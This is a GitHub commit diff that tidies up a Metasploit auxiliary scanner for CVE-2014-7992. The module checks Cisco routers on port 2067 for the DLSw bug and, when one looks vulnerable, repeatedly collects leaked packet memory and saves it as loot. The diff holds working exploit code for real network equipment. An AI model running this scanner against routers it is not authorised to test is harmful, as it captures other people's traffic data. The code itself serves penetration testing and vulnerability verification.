Skip to content

Commit 7d6e7a6

Browse files
committed
Minor Ruby style and module usability cleanup
1 parent 6b8b49f commit 7d6e7a6

File tree

1 file changed

+41
-35
lines changed

1 file changed

+41
-35
lines changed

modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb

Lines changed: 41 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -7,78 +7,86 @@
77
require 'socket'
88

99
class Metasploit3 < Msf::Auxiliary
10-
1110
include Msf::Exploit::Remote::Tcp
1211
include Msf::Auxiliary::Scanner
1312
include Msf::Auxiliary::Report
1413

1514
def initialize
1615
super(
17-
'Name' => 'Cisco DLSw information leak',
18-
'Description' => %q{
19-
This module implements the DLSw information leak retrieval. There is
20-
a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
21-
that allows an unuthenticated remote attacker to retrieve the partial
22-
contents of packets traversing a Cisco router with DLSw configured
23-
and active.
24-
},
16+
'Name' => 'Cisco DLSw Information Leak Scanner',
17+
'Description' => %q(
18+
This module implements the DLSw information leak retrieval. There is
19+
a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
20+
that allows an unuthenticated remote attacker to retrieve the partial
21+
contents of packets traversing a Cisco router with DLSw configured
22+
and active.
23+
),
2524
'Author' => [
2625
'Tate Hansen', # Vulnerability discovery
2726
'John McLeod', # Vulnerability discovery
28-
'Kyle Rainey', # Built lab to recreate vulnerability and help test
27+
'Kyle Rainey' # Built lab to recreate vulnerability and help test
2928
],
3029
'References' =>
3130
[
3231
['CVE', '2014-7992'],
33-
['URL', 'https://github.com/tatehansen/dlsw_exploit'],
32+
['URL', 'https://github.com/tatehansen/dlsw_exploit']
3433
],
3534
'DisclosureDate' => 'Nov 17 2014',
36-
'License' => MSF_LICENSE,
35+
'License' => MSF_LICENSE
3736
)
3837

3938
register_options(
4039
[
4140
Opt::RPORT(2067),
42-
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]),
41+
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
4342
], self.class)
4443
end
4544

4645
# Called when using check
4746
def check_host(ip)
48-
print_status "Checking #{ip}:#{rport} for DLSw exposure"
49-
connect
50-
response = sock.recv(1024)
51-
disconnect
47+
peer = "#{ip}:#{rport}"
48+
print_status("Checking #{peer} for DLSw exposure")
49+
response = get_response
5250

53-
if (response.length > 0) && (response =~ /IOS Software|cisco.com/)
54-
print_status("The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ip}:#{rport}")
55-
report_vuln({
56-
:host => rhost,
57-
:port => rport,
58-
:name => self.name,
59-
:refs => self.references,
60-
:info => "Module #{self.fullname} collected #{response.length} bytes"
61-
})
51+
if !response.blank? && (response =~ /IOS Software|cisco.com/)
52+
print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected")
53+
report_vuln(
54+
host: rhost,
55+
port: rport,
56+
name: name,
57+
refs: references,
58+
info: "Module #{fullname} collected #{response.length} bytes"
59+
)
6260
Exploit::CheckCode::Vulnerable
6361
else
62+
if response.blank?
63+
vprint_status("#{peer}: no response")
64+
else
65+
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
66+
end
6467
Exploit::CheckCode::Safe
6568
end
6669
end
6770

71+
def get_response(size = 1024)
72+
connect
73+
response = sock.recv(size)
74+
disconnect
75+
response
76+
end
77+
6878
# Main method
6979
def run_host(ip)
7080
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
7181

72-
print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}:#{rport}")
82+
print_status("#{ip}:#{rport} Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data")
7383

74-
dlsw_data = ""
84+
dlsw_data = ''
7585
until dlsw_data.length > datastore['LEAK_AMOUNT']
76-
connect
77-
response = sock.recv(72)
78-
if response
86+
response = get_response
87+
unless response.blank?
7988
dlsw_data << response[18..72] # range of the leaked packet contents
8089
end
81-
disconnect
8290
end
8391
loot_and_report(dlsw_data)
8492
end
@@ -92,8 +100,6 @@ def loot_and_report(dlsw_data)
92100
'DLSw_leaked_data',
93101
'DLSw packet memory leak'
94102
)
95-
print_status("DLSw leaked data from #{ip}:#{rport} stored in #{path}")
103+
print_status("#{ip}:#{rport}: DLSw leaked data stored in #{path}")
96104
end
97105
end
98-
99-

0 commit comments

Comments
 (0)